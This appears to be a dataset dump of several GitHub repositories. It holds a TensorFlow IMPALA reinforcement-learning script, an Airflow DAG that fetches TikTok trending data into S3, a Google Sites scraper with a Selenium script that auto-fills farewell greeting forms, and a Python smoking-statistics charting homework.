config):\n self.config = config\n env = gym.make(config.env)\n state_size = np.squeeze(env.observation_space.shape)\n assert state_size.shape == ()\n\n experiment_path = os.path.join(config.experiment_path, config.env)\n\n self.global_step = tf.train.get_or_create_global_step()\n training = tf.placeholder(tf.bool, [], name='training')\n\n # input\n t = config.horizon\n n = config.batch_size\n self.states = tf.placeholder(tf.float32, [t, n, state_size], name='state')\n self.state_prime = tf.placeholder(tf.float32, [n, state_size], name='state_prime')\n self.actions = tf.placeholder(tf.int32, [t, n], name='action')\n self.rewards = tf.placeholder(tf.float32, [t, n], name='return')\n self.dones = tf.placeholder(tf.bool, [t, n], name='done')\n\n # network\n value_function_and_policy = ValueFunctionAndPolicy(np.squeeze(env.action_space.shape))\n values, dist = value_function_and_policy(self.states, training=training)\n value_prime, _ = value_function_and_policy(self.state_prime, training=training)\n\n # v-trace\n target_actions_prob = dist.prob(self.actions)\n self.behaviour_actions_prob = tf.placeholder(tf.float32, [None, None])\n log_ratios = tf.log(target_actions_prob / self.behaviour_actions_prob)\n discounts = tf.ones_like(log_ratios) * config.gamma * tf.to_float(~self.dones)\n td_target, advantage = from_importance_weights(\n log_ratios=log_ratios, discounts=discounts, rewards=self.rewards, values=values, value_prime=value_prime)\n\n # critic\n td_error = td_target - values\n critic_loss = tf.reduce_mean(tf.square(td_error))\n\n # actor\n actor_loss = -tf.reduce_mean(dist.log_prob(self.actions) * advantage)\n actor_loss -= 1e-3 * tf.reduce_mean(dist.entropy())\n\n # training\n loss = actor_loss + critic_loss * 0.5 + tf.losses.get_regularization_loss()\n self.vars = tf.trainable_variables()\n self.train_step = tf.train.AdamOptimizer(config.learning_rate).minimize(loss, global_step=self.global_step)\n\n # summary\n self.ep_length = tf.placeholder(tf.float32, [])\n self.ep_reward = tf.placeholder(tf.float32, [])\n self.metrics, self.update_metrics = {}, {}\n self.metrics['loss'], self.update_metrics['loss'] = tf.metrics.mean(loss)\n self.metrics['ep_length'], self.update_metrics['ep_length'] = tf.metrics.mean(self.ep_length)\n self.metrics['ep_reward'], self.update_metrics['ep_reward'] = tf.metrics.mean(self.ep_reward)\n summary = tf.summary.merge([\n tf.summary.scalar('ep_length', self.metrics['ep_length']),\n tf.summary.scalar('ep_reward', self.metrics['ep_reward'])\n ])\n self.locals_init = tf.local_variables_initializer()\n\n # session\n hooks = [\n tf.train.CheckpointSaverHook(checkpoint_dir=experiment_path, save_steps=100),\n tf.train.SummarySaverHook(output_dir=experiment_path, save_steps=100, summary_op=summary)\n ]\n self.sess = tf.train.SingularMonitoredSession(checkpoint_dir=experiment_path, hooks=hooks)\n self.history = []\n\n def updates(self):\n return self.sess.run(self.vars)\n\n def episode_metrics(self, t, total_reward):\n self.sess.run(\n [self.update_metrics['ep_length'], self.update_metrics['ep_reward']], {\n self.ep_length: t,\n self.ep_reward: total_reward\n })\n\n def train(self, batch):\n self.history.append(batch)\n\n if len(self.history) < self.config.batch_size:\n return self.sess.run(self.vars)\n\n batch = zip(*self.history)\n states, actions, actions_prob, rewards, state_prime, dones = batch\n states, actions, actions_prob, rewards, dones = [\n np.stack(x, 1) for x in [states, actions, actions_prob, rewards, dones]]\n state_prime = np.stack(state_prime, 0)\n self.history = []\n\n _, _, vs, step = self.sess.run(\n [self.train_step, self.update_metrics['loss'], self.vars, self.global_step],\n {\n self.states: states,\n self.state_prime: state_prime,\n self.actions: actions,\n self.behaviour_actions_prob: actions_prob,\n self.rewards: rewards,\n self.dones: dones\n }\n )\n\n if step % 100 == 0:\n print(step)\n self.sess.run(self.locals_init)\n\n return vs\n\n\nclass Worker(object):\n def __init__(self, master, config):\n self.master = master\n self.config = config\n\n def train(self):\n env = gym.make(self.config.env)\n state_size = np.squeeze(env.observation_space.shape)\n assert state_size.shape == ()\n\n training = tf.placeholder(tf.bool, [], name='training')\n\n # input\n state = tf.placeholder(tf.float32, [None, state_size], name='state')\n\n # network\n value_function_and_policy = ValueFunctionAndPolicy(np.squeeze(env.action_space.shape))\n value, dist = value_function_and_policy(state, training=training)\n\n # actor\n action_sample = dist.sample()\n action_sample_prob = dist.prob(action_sample)\n\n # training\n vars = tf.trainable_variables()\n updates = [tf.placeholder(var.dtype, var.shape) for var in vars]\n update_vars = tf.group(*[var.assign(update) for var, update in zip(vars, updates)])\n\n with tf.Session() as sess:\n us = ray.get(self.master.updates.remote())\n sess.run(update_vars, {update: u for update, u in zip(updates, us)})\n\n s = env.reset()\n t = 0\n total_reward = 0\n history = []\n\n for _ in itertools.count():\n a, a_prob = sess.run(\n [action_sample, action_sample_prob], {state: np.expand_dims(s, 0), training: False})\n a, a_prob = map(lambda x: np.squeeze(x, 0), [a, a_prob])\n s_prime, r, d, _ = env.step(a)\n\n t += 1\n total_reward += r\n history.append((s, a, a_prob, r, d))\n\n if d:\n ray.get(self.master.episode_metrics.remote(t, total_reward))\n\n s = env.reset()\n t = 0\n total_reward = 0\n else:\n s = s_prime\n\n if len(history) == self.config.horizon:\n trajectory = build_trajectory(history, s) # TODO: use s_prime?\n\n us = ray.get(self.master.train.remote(trajectory))\n sess.run(update_vars, {update: u for update, u in zip(updates, us)})\n\n history = []\n\n\ndef build_trajectory(history, state_prime):\n state, action, action_prob, reward, done = [np.array(x) for x in zip(*history)]\n state_prime = np.array(state_prime)\n\n return state, action, action_prob, reward, state_prime, done\n\n\ndef build_parser():\n parser = utils.ArgumentParser()\n parser.add_argument('--learning-rate', type=float, default=1e-3)\n parser.add_argument('--horizon', type=int, default=128)\n parser.add_argument('--batch-size', type=int, default=8)\n parser.add_argument('--experiment-path', type=str, default='./tf_log/impala')\n parser.add_argument('--env', type=str, required=True)\n parser.add_argument('--episodes', type=int, default=10000)\n parser.add_argument('--gamma', type=float, default=0.99)\n # parser.add_argument('--monitor', action='store_true')\n\n return parser\n\n\ndef main():\n ray.init()\n args = build_parser().parse_args()\n\n master = ray.remote(Master).remote(args)\n workers = [ray.remote(Worker).remote(master, args) for _ in range(os.cpu_count())]\n tasks = [w.train.remote() for w in workers]\n ray.get(tasks)\n\n\nif __name__ == '__main__':\n main()\n\n# TODO: test this\n# def from_importance_weights(\n# log_rhos, discounts, rewards, values, bootstrap_value,\n# clip_rho_threshold=1.0, clip_pg_rho_threshold=1.0,\n# name='vtrace_from_importance_weights'):\n# r\"\"\"V-trace from log importance weights.\n# Calculates V-trace actor critic targets as described in\n# \"IMPALA: Scalable Distributed Deep-RL with\n# Importance Weighted Actor-Learner Architectures\"\n# by Espeholt, Soyer, Munos et al.\n# In the notation used throughout documentation and comments, T refers to the\n# time dimension ranging from 0 to T-1. B refers to the batch size and\n# NUM_ACTIONS refers to the number of actions. This code also supports the\n# case where all tensors have the same number of additional dimensions, e.g.,\n# `rewards` is [T, B, C], `values` is [T, B, C], `bootstrap_value` is [B, C].\n# Args:\n# log_rhos: A float32 tensor of shape [T, B, NUM_ACTIONS] representing the log\n# importance sampling weights, i.e.\n# log(target_policy(a) / behaviour_policy(a)). V-trace performs operations\n# on rhos in log-space for numerical stability.\n# discounts: A float32 tensor of shape [T, B] with discounts encountered when\n# following the behaviour policy.\n# rewards: A float32 tensor of shape [T, B] containing rewards generated by\n# following the behaviour policy.\n# values: A float32 tensor of shape [T, B] with the value function estimates\n# wrt. the target policy.\n# bootstrap_value: A float32 of shape [B] with the value function estimate at\n# time T.\n# clip_rho_threshold: A scalar float32 tensor with the clipping threshold for\n# importance weights (rho) when calculating the baseline targets (vs).\n# rho^bar in the paper. If None, no clipping is applied.\n# clip_pg_rho_threshold: A scalar float32 tensor with the clipping threshold\n# on rho_s in \\rho_s \\delta log \\pi(a|x) (r + \\gamma v_{s+1} - V(x_s)). If\n# None, no clipping is applied.\n# name: The name scope that all V-trace operations will be created in.\n# Returns:\n# A VTraceReturns namedtuple (vs, pg_advantages) where:\n# vs: A float32 tensor of shape [T, B]. Can be used as target to\n# train a baseline (V(x_t) - vs_t)^2.\n# pg_advantages: A float32 tensor of shape [T, B]. Can be used as the\n# advantage in the calculation of policy gradients.\n# \"\"\"\n# log_rhos = tf.convert_to_tensor(log_rhos, dtype=tf.float32)\n# discounts = tf.convert_to_tensor(discounts, dtype=tf.float32)\n# rewards = tf.convert_to_tensor(rewards, dtype=tf.float32)\n# values = tf.convert_to_tensor(values, dtype=tf.float32)\n# bootstrap_value = tf.convert_to_tensor(bootstrap_value, dtype=tf.float32)\n# if clip_rho_threshold is not None:\n# clip_rho_threshold = tf.convert_to_tensor(clip_rho_threshold,\n# dtype=tf.float32)\n# if clip_pg_rho_threshold is not None:\n# clip_pg_rho_threshold = tf.convert_to_tensor(clip_pg_rho_threshold,\n# dtype=tf.float32)\n#\n# # Make sure tensor ranks are consistent.\n# rho_rank = log_rhos.shape.ndims # Usually 2.\n# values.shape.assert_has_rank(rho_rank)\n# bootstrap_value.shape.assert_has_rank(rho_rank - 1)\n# discounts.shape.assert_has_rank(rho_rank)\n# rewards.shape.assert_has_rank(rho_rank)\n# if clip_rho_threshold is not None:\n# clip_rho_threshold.shape.assert_has_rank(0)\n# if clip_pg_rho_threshold is not None:\n# clip_pg_rho_threshold.shape.assert_has_rank(0)\n#\n# with tf.name_scope(name, values=[\n# log_rhos, discounts, rewards, values, bootstrap_value]):\n# rhos = tf.exp(log_rhos)\n# if clip_rho_threshold is not None:\n# clipped_rhos = tf.minimum(clip_rho_threshold, rhos, name='clipped_rhos')\n# else:\n# clipped_rhos = rhos\n#\n# cs = tf.minimum(1.0, rhos, name='cs')\n# # Append bootstrapped value to get [v1, ..., v_t+1]\n# values_t_plus_1 = tf.concat(\n# [values[1:], tf.expand_dims(bootstrap_value, 0)], axis=0)\n# deltas = clipped_rhos * (rewards + discounts * values_t_plus_1 - values)\n#\n# # Note that all sequences are reversed, computation starts from the back.\n# sequences = (\n# tf.reverse(discounts, axis=[0]),\n# tf.reverse(cs, axis=[0]),\n# tf.reverse(deltas, axis=[0]),\n# )\n#\n# # V-trace vs are calculated through a scan from the back to the beginning\n# # of the given trajectory.\n# def scanfunc(acc, sequence_item):\n# discount_t, c_t, delta_t = sequence_item\n# return delta_t + discount_t * c_t * acc\n#\n# initial_values = tf.zeros_like(bootstrap_value)\n# vs_minus_v_xs = tf.scan(\n# fn=scanfunc,\n# elems=sequences,\n# initializer=initial_values,\n# parallel_iterations=1,\n# back_prop=False,\n# name='scan')\n# # Reverse the results back to original order.\n# vs_minus_v_xs = tf.reverse(vs_minus_v_xs, [0], name='vs_minus_v_xs')\n#\n# # Add V(x_s) to get v_s.\n# vs = tf.add(vs_minus_v_xs, values, name='vs')\n#\n# # Advantage for policy gradient.\n# vs_t_plus_1 = tf.concat([\n# vs[1:], tf.expand_dims(bootstrap_value, 0)], axis=0)\n# if clip_pg_rho_threshold is not None:\n# clipped_pg_rhos = tf.minimum(clip_pg_rho_threshold, rhos, name='clipped_pg_rhos')\n# else:\n# clipped_pg_rhos = rhos\n# pg_advantages = (clipped_pg_rhos * (rewards + discounts * vs_t_plus_1 - values))\n#\n# # Make sure no gradients backpropagated through the returned values.\n# return tf.stop_gradient(vs), tf.stop_gradient(pg_advantages)\n" } ]
23
vkhvorostianyi/airflow_practice
https://github.com/vkhvorostianyi/airflow_practice
475a00e068d0ee974eac4c50a141825fdf1be3d2
1673556ec311efc59acd1359f39fc84e7cbb50e3
6789dfd6946a2fa27a677079fb7d2570d569121b
refs/heads/master
2023-02-05T16:45:48.200849
2020-12-29T23:31:13
2020-12-29T23:31:13
325,097,604
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5580378770828247, "alphanum_fraction": 0.5633803009986877, "avg_line_length": 32.209678649902344, "blob_id": "262a6c5662bb23c94d8c0b9614dc3635fd189f66", "content_id": "043e2264570c4b93c78fffee32ab803bebd74934", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4118, "license_type": "no_license", "max_line_length": 124, "num_lines": 124, "path": "/dags/tiktok_dag.py", "repo_name": "vkhvorostianyi/airflow_practice", "src_encoding": "UTF-8", "text": "from datetime import timedelta, datetime\nimport json\nimport time\nimport os\nimport airflow\nfrom urllib.request import urlopen\nimport pandas as pd\nimport http.client\nimport configparser\n\nfrom airflow import DAG\nfrom airflow.operators.bash_operator import BashOperator\nfrom airflow.operators.dummy_operator import DummyOperator\nfrom airflow.operators.python_operator import PythonOperator\nfrom airflow.utils.dates import days_ago\nimport airflow.hooks.S3_hook\nimport boto3\n\ns3 = boto3.resource('s3')\n\nconfig = configparser.ConfigParser()\nconfig.read(f\"{os.path.expanduser('~')}/airflow/api.config\")\n\n\ndef get_api_data():\n print(os.getcwd())\n conn = http.client.HTTPSConnection(\"tiktok.p.rapidapi.com\")\n\n headers = {\n 'x-rapidapi-key': config[\"rapidapi\"][\"API_RAPIDAPI_KEY\"],\n 'x-rapidapi-host': \"tiktok.p.rapidapi.com\"\n }\n\n conn.request(\"GET\", \"/live/trending/feed\", headers=headers)\n\n res = conn.getresponse()\n data = res.read()\n json_data = json.loads(data.decode(\"utf-8\"))\n return json_data\n\n\ndef get_clean_data(**context):\n video_data = []\n author_data = []\n media = context['task_instance'].xcom_pull(task_ids='get_data', key='return_value').get('media')\n if media:\n for item in media: \n video_attr = (\n item[\"video_id\"],\n item[\"create_time\"],\n item[\"description\"],\n item[\"video\"][\"playAddr\"],\n item['statistics']\n )\n author_attr = (\n item['author']['nickname'], \n item['author']['uniqueId'],\n item['author']['followers'],\n item['author']['heartCount'],\n item['author']['videoCount']\n )\n video_data.append(video_attr)\n author_data.append(author_attr)\n author_df = pd.DataFrame(author_data, columns=('nickname', 'id', 'followers', 'heartCount', 'videoCount'))\n video_df = pd.DataFrame(video_data, columns=('video_id', 'create_time', 'descriotion', 'playAddr', 'statistics'))\n video_df[\"create_time\"]= pd.to_datetime(video_df['create_time'].apply(lambda x: datetime.fromtimestamp(int(x))))\n video_df.to_csv(f\"{os.path.expanduser('~')}/airflow/data/video.csv\", index=None)\n author_df.to_csv(f\"{os.path.expanduser('~')}/airflow/data/author.csv\", index=None)\n\ndef upload_file_to_S3_with_hook(filename, key, bucket_name):\n hook = airflow.hooks.S3_hook.S3Hook('aws_default')\n hook.load_file(filename, key, bucket_name)\n\n\ndefault_args = {\n 'owner': 'airflow',\n 'start_date': days_ago(5),\n 'email': ['airflow@my_first_dag.com'],\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 1,\n 'retry_delay': timedelta(minutes=5),\n}\n\n\n \nwith DAG(\n 'tiktok_dag',\n default_args=default_args,\n description='Our first DAG',\n schedule_interval=\"*/2 * * * *\",\n) as dag:\n get_data = PythonOperator(\n task_id='get_data',\n python_callable=get_api_data,\n dag=dag\n)\n clean_data = PythonOperator(\n task_id='clean_data',\n python_callable=get_clean_data,\n dag=dag,\n provide_context=True\n) \n \n s3_tasks = []\n\n for file in [f\"{os.path.expanduser('~')}/airflow/data/author.csv\", \n f\"{os.path.expanduser('~')}/airflow/data/video.csv\"]:\n upload_to_S3_task = PythonOperator(\n task_id=f'upload_to_S3_{file.split(\"/\")[-1]}',\n python_callable=upload_file_to_S3_with_hook,\n op_kwargs={\n 'filename': file,\n 'key': f'{datetime.now().strftime(\"%Y-%b-%d/%H-%M\")}-{file.split(\"/\")[-1]}',\n 'bucket_name': f'tiktok-fun',\n },\n dag=dag)\n\n s3_tasks.append(upload_to_S3_task)\n \n opr_end = BashOperator(task_id='opr_end', bash_command='echo \"Done\"')\n \n\nget_data >> clean_data >> s3_tasks >> opr_end\n" } ]
1
Pudit/FarewellSI126
https://github.com/Pudit/FarewellSI126
4480d58d1e3e8af9ea80b85112a4bf6215356ff6
91e92d869a6930797e8b05ab9a6920af901cde62
1b2da38171b00609d28d010c59bb9bc0fcf16fe6
refs/heads/main
2023-04-05T04:33:07.419818
2021-04-14T19:30:33
2021-04-14T19:30:33
358,026,745
0
0
MIT
2021-04-14T19:57:27
2021-04-14T19:30:36
2021-04-14T19:30:33
null
[ { "alpha_fraction": 0.5707594752311707, "alphanum_fraction": 0.6356641054153442, "avg_line_length": 23.883333206176758, "blob_id": "0ce5e4f028f8fa0d00d36199086b10dd7229efc6", "content_id": "7942a1cbefdf6550f59be223ea7864d115e4f3df", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2989, "license_type": "permissive", "max_line_length": 94, "num_lines": 120, "path": "/find_all_sites.py", "repo_name": "Pudit/FarewellSI126", "src_encoding": "UTF-8", "text": "#import libraries\nfrom bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nimport urllib.error\nimport pandas as pd\n\n#define func to find subfolder\ndef find_folder(student_id: int):\n if student_id < 1 :\n return None\n elif student_id <= 50 :\n return \"001-050\"\n elif student_id <= 100 :\n return \"051-100\"\n elif student_id <= 150 :\n return \"101-150\"\n elif student_id <= 200 :\n return \"151-200\"\n elif student_id <= 250 :\n return \"201-250\"\n elif student_id <= 300 :\n return \"251-300\"\n elif student_id <= 326 :\n return \"301-326\"\n else:\n return None\n\n# define func to get url\ndef url_si(student_id):\n return f\"https://sites.google.com/view/seniorfarewell2021/mirror/{find_folder(i)}/{i:03d}\"\n\n\n# create blank list to collect url and HTTP response code\nurllist = list()\ncheckerlist = list()\nfor i in range(326 + 1):\n urllist.append(url_si(i))\nurllist[0] = \"\"\n\n\n#check that each person is exist or not\nfor i in range(327):\n try:\n urlopen(url_si(i))\n except urllib.error.HTTPError as e:\n checkerlist.append(404)\n else:\n checkerlist.append(200)\n\n\n# finding name and real google doc path\nnamelist = list()\nformlist = list()\nfor i in range(327):\n if checkerlist[i] == 200:\n bsObj = BeautifulSoup(urlopen(urllist[i]))\n title = bsObj.find(\"h1\").getText()\n gform = bsObj.find_all(\"a\", href=True)[-2]['href']\n namelist.append(title)\n formlist.append(gform)\n else:\n namelist.append(\"NotFound 404\")\n formlist.append(\"404 Not Found\")\n\n\n#Check GSX, send to my high-school classmates\n#Because of duplicated nickname, plz check manually\n\nis_gsx = [False] * 327 #0 to 326 people in SI126 code\n\nis_gsx[11] = True # Max\nis_gsx[12] = True # Film\nis_gsx[23] = True # Pea\nis_gsx[26] = True # Poom\nis_gsx[28] = True # Win Sukrit\nis_gsx[33] = True # Krit Kitty\nis_gsx[37] = True # Ball\nis_gsx[59] = True # Ji\nis_gsx[61] = True # Tong\nis_gsx[104] = True # Now\nis_gsx[130] = True # Pond\nis_gsx[139] = True # Thames\nis_gsx[142] = True # Win Nawin\nis_gsx[147] = True # Jan\nis_gsx[164] = True # Mhee\nis_gsx[185] = True # Jane Glasses\nis_gsx[200] = True # Ana\nis_gsx[209] = True # Jane Juice\nis_gsx[232] = True # Fangpao\nis_gsx[277] = True # Guggug\nis_gsx[285] = True # Ken Whale\nis_gsx[290] = True # Bell Tao \n\n#create pandas dataframe from lists\nsi126_df = pd.DataFrame({\n 'url': urllist,\n 'formlink':formlist,\n 'title' : namelist,\n 'status': checkerlist,\n \"GSX\" : is_gsx\n })\n\n\n#save dataframe to csv\nsi126_df.to_csv(\"si126_namelist.csv\")\n\n\n#cleaning some minor texts manually!, add some missing names, strip texts, do on text editors\n\n\n#read csv file after cleaning some dirts\nsi126_df = pd.read_csv(\"si126_namelist.csv\")\n\n\n#find his/her nickname\nsi126_df[\"nickname\"] = si126_df.title.str.split(\" \",expand = True,n=1)[0]\n\n\n#export to csv again\nsi126_df.to_csv(\"si126_namelist.csv\")\n\n\n\n" }, { "alpha_fraction": 0.6691403985023499, "alphanum_fraction": 0.6876932382583618, "avg_line_length": 30.05769157409668, "blob_id": "0e67a50935c30db9f379e1ad1263fd31321ea95e", "content_id": "4547ef3522ca3bcc5489b5e5989db96d8ef62dc9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2033, "license_type": "permissive", "max_line_length": 205, "num_lines": 52, "path": "/write_mirrors.py", "repo_name": "Pudit/FarewellSI126", "src_encoding": "UTF-8", "text": "#import libraries\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport time\nfrom datetime import datetime\nimport pandas as pd\n\n#path for webdriver\ndriverpath = \"PATH for your chromedriver\"\n\n#load data from csv file\ndf = pd.read_csv(\"si126_namelist.csv\")\nurllist = list(df[df.GSX == True].formlink)\nnamelist = list(df[df.GSX == True].nickname)\n\n\n#sending mail merge\n\nfor i in range(len(urllist)):\n #rest time from previous session\n driver = webdriver.Chrome(driverpath)\n time.sleep(3)\n\n sending_url = driver.get(urllist[i])\n send_to = namelist[i]\n\n time.sleep(1)\n\n sender_txt = \"@sikawit\"\n greeting_txt = f\"\"\"Hi {send_to.strip()}! \n\nยินดีด้วยครับคุณหมอ ในที่สุดก็เดินทางมาถึงเส้นชัยที่ยากที่สุดทางหนึ่งละครับ (ซึ่งผมขอหนีไปก่อน 555) ขอให้หมอเป็นหมอที่ดีครับ หวังว่าคงได้เจอกัน (คงไม่ใช่ในฐานะคนไข้นะ) หากมีอะไรที่ให้ช่วยได้ก็บอกมาได้ครัชช\n\nยินดีอีกครั้งครับ\nSake\n\n*****\nGenerated from a bot on {datetime.now().astimezone().strftime(\"%Y-%m-%d %H:%M:%S UTC%Z\")}\nFind out more at https://github.com/sikawit/FarewellSI126\"\"\"\n\n sender_fill = driver.find_element_by_xpath('/html/body/div/div[2]/form/div[2]/div/div[2]/div[1]/div/div/div[2]/div/div[1]/div/div[1]/input')\n sender_fill.send_keys(sender_txt)\n\n greeting_fill = driver.find_element_by_xpath('/html/body/div/div[2]/form/div[2]/div/div[2]/div[2]/div/div/div[2]/div/div[1]/div[2]/textarea')\n greeting_fill.send_keys(greeting_txt)\n\n submit = driver.find_element_by_xpath('/html/body/div/div[2]/form/div[2]/div/div[3]/div[1]/div/div/span')\n submit.click()\n\n time.sleep(3)\n\n driver.close()\n\n\n" } ]
2
Jegajeeth/res-req-in-fast-api
https://github.com/Jegajeeth/res-req-in-fast-api
f83a96e0ffec6394da9dfedd0a5f07c7612c505b
cc8a23532f0cf5f5a098390647fc4ed2a9b43dd5
d2bdcb14360435b0aabebdc96e6236b1f7aa8927
refs/heads/main
2023-07-10T07:51:45.229678
2021-08-13T15:21:53
2021-08-13T15:21:53
395,670,936
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 21, "blob_id": "de93262d6ab70f67d32759b37d176e628ed7e288", "content_id": "4a7dbceddf204e3926b761f64de8aa5d41695b0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 21, "license_type": "no_license", "max_line_length": 21, "num_lines": 1, "path": "/README.md", "repo_name": "Jegajeeth/res-req-in-fast-api", "src_encoding": "UTF-8", "text": "# res-req-in-fast-api" }, { "alpha_fraction": 0.6376146674156189, "alphanum_fraction": 0.642201840877533, "avg_line_length": 19.799999237060547, "blob_id": "f26fcf7531dfa6e5b59cb882239185165614a6fb", "content_id": "4cc6407e02ad8629e0764d63e19560becbb3954b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 654, "license_type": "no_license", "max_line_length": 52, "num_lines": 30, "path": "/app.py", "repo_name": "Jegajeeth/res-req-in-fast-api", "src_encoding": "UTF-8", "text": "from fastapi import FastAPI\r\nfrom fastapi.responses import HTMLResponse as hr\r\nfrom fastapi.responses import RedirectResponse as rr\r\nfrom fastapi.responses import FileResponse\r\n\r\napp = FastAPI()\r\n\r\nfile_path=\"TinDog-start-masrter2/index.html\"\r\n\r\n@app.get(\"/\")\r\nasync def rout():\r\n return FileResponse(file_path)\r\n\r\n\r\n\r\n@app.get(\"/reshtml\", response_class=hr)\r\nasync def rout():\r\n return \"\"\"<html>\r\n <body><h1>fsdfdfs</h1></body>\r\n </html>\r\n\r\n\"\"\"\r\n\r\n@app.get(\"/item/{item}\")\r\nasync def item(item):\r\n return item\r\n\r\n@app.get(\"/redirectex\", response_class = rr)\r\nasync def redirect():\r\n return \"https://google.com/\"\r\n" } ]
2
steveyeh987/Data-Science
https://github.com/steveyeh987/Data-Science
8f06ef5fc36f2cf1681bd0728d852f643dcfc8c7
57b1ef7fc7038ae0731aa54e2318fc75aa7c5b6b
cf50471c04912fb9853e3d80aca047dc615f095f
refs/heads/master
2021-07-05T02:25:30.963710
2017-09-27T05:44:38
2017-09-27T05:44:38
104,973,592
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.47864997386932373, "alphanum_fraction": 0.5129122734069824, "avg_line_length": 33.83928680419922, "blob_id": "4224796b6e7606d68a3180654faac32f32770478", "content_id": "38615f67bb6aec5a720999ede7938ef643d13128", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3911, "license_type": "no_license", "max_line_length": 113, "num_lines": 112, "path": "/hw1/hw1.py", "repo_name": "steveyeh987/Data-Science", "src_encoding": "UTF-8", "text": "import sys\nimport ssl\nimport urllib\nimport matplotlib.pyplot as plt\n\n\n\ndef Parse_File(link):\n context = ssl._create_unverified_context()\n f = urllib.request.urlopen(link, context=context)\n data = f.read().decode('utf-8').split('\\n')\n e = [i.split(',') for i in data[2:7]]\n a = [i.split(',') for i in data[8:11]]\n w = [i.split(',') for i in data[12:15]]\n \n E = ['Education level']\n A = ['Average monthly income']\n W = ['Working environment']\n lst = [E, A, W]\n \n for index, cl in enumerate([e, a, w]):\n total_pop = 0.0\n x_tick = []\n M = []\n F = []\n T = []\n Non_smoke = []\n \n for row in cl:\n x_tick.append(row[0])\n temp = list(map(float, row[1:]))\n M.append(temp[1])\n F.append(temp[3])\n T.append(float(\"{0:.1f}\".format((temp[0]*temp[1]+temp[2]*temp[3])/(temp[0]+temp[2]))))\n Non_smoke.append(temp[0]*(1-temp[1]/100)+temp[2]*(1-temp[3]/100))\n total_pop += (temp[0]*(1-temp[1]/100)+temp[2]*(1-temp[3]/100))\n Non_smoke = [float(\"{0:.1f}\".format(i/total_pop)) for i in Non_smoke]\n lst[index].extend([x_tick, M, F, T, Non_smoke])\n \n return E, A, W\n\n\ndef Data_Class(s):\n assert s in ['E', 'A', 'W'], \"Cannot find class type {} !\".format(s)\n data = []\n \n if s == 'E':\n data = E\n elif s == 'A':\n data = A\n else:\n data = W\n \n return data\n\n\ndef Chart(s, data):\n assert s in ['l', 'b', 'p'], \"Cannot find chart type {} !\".format(s)\n n = len(data[1])\n fig, ax = plt.subplots(figsize=(15, 8))\n ax.set_xticks(range(n))\n ax.set_xticklabels(data[1], ha='center')\n ax.tick_params(labelsize=9)\n \n if s == 'l':\n ax.plot(range(n), data[2], marker='s', label='Male')\n ax.plot(range(n), data[3], marker='o', label='Female')\n ax.plot(range(n), data[4], marker='^', label='Total') \n for pop in data[2:5]:\n for i, j in zip(range(n), pop):\n ax.text(i+0.1, j+0.1, str(j), ha='center', va='bottom', fontsize=10)\n ax.set_title(\"Smoking Percentage vs {}\".format(data[0]), fontsize=11) \t\t\n ax.set_xlabel(data[0], fontsize=9)\n ax.set_ylabel('Smoking Percentage (%)', fontsize=9)\n ax.set_xlim([-0.5, n-0.5])\n plt.legend(loc='upper right', prop={\"size\":10})\n plt.show()\n \n elif s == 'b':\n width=0.15\n rects1 = ax.bar([i-1.5*width for i in range(n)], data[2], width=width, label='Male', color='b')\n rects2 = ax.bar([i-0.5*width for i in range(n)], data[3], width=width, label='Female', color='r')\n rects3 = ax.bar([i+0.5*width for i in range(n)], data[4], width=width, label='Total', color='y') \n for rects in [rects1, rects2, rects3]:\n for rect in rects:\n h = rect.get_height()\n ax.text(rect.get_x()+rect.get_width()/2., 1.01*h, h,\n ha='center', va='bottom', fontsize=10)\n ax.set_title(\"Smoking Percentage vs {}\".format(data[0]), fontsize=11) \t\n ax.set_xlabel(data[0], fontsize=9)\n ax.set_ylabel('Smoking Percentage (%)', fontsize=9)\n ax.set_xlim([-0.5, n-0.5])\n plt.legend(loc='upper right', prop={\"size\":10})\n plt.show() \n \n else:\n ax.pie(data[5], labels=data[1], autopct='%1.1f%%',)\n ax.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.\n ax.set_title(\"Proportion of different {} in non-smoking population\".format(data[0]), fontsize=11, y=1.08)\n plt.show()\n\n\n\nif __name__ == '__main__':\n link = \"https://ceiba.ntu.edu.tw/course/481ea4/hw1_data.csv\"\n E, A, W = Parse_File(link)\n \n for arg in sys.argv[1:]:\n if arg.startswith('-'):\n arg = arg[1:]\n cl = Data_Class(arg[0])\n Chart(arg[1], cl)\n \n" }, { "alpha_fraction": 0.6571428775787354, "alphanum_fraction": 0.7714285850524902, "avg_line_length": 16.5, "blob_id": "e4ab707e36dd3aa282f015de12c175a72598c70c", "content_id": "edb7ea835a492562798bf802a41414e7a2bfe575", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 35, "license_type": "no_license", "max_line_length": 19, "num_lines": 2, "path": "/README.md", "repo_name": "steveyeh987/Data-Science", "src_encoding": "UTF-8", "text": "# Data-Science\n2017 Fall DS Course\n" }, { "alpha_fraction": 0.65625, "alphanum_fraction": 0.6971153616905212, "avg_line_length": 23.940000534057617, "blob_id": "be40efc50fb52a3090cae34d93728e19d77cd2c6", "content_id": "71eee4f2bbbdceac6a391ad757bb54eb3bac8da2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1248, "license_type": "no_license", "max_line_length": 106, "num_lines": 50, "path": "/hw1/README.md", "repo_name": "steveyeh987/Data-Science", "src_encoding": "UTF-8", "text": "\nThe script is for text data parsing and data visualization with python\n\nThere are three functions in hw1.py: Parse_File, Data_Class, and Chart.\n\n**Parse_File:**\n\n\tPreprocess the input link into the following format:\n\t\n\t[\n\t\tclass name\n\t\t[class type]\n\t\t[male smoke percentage]\n\t\t[female smoke percentage]\n\t\t[total smoke percentage]\n\t\t[non-smoking population 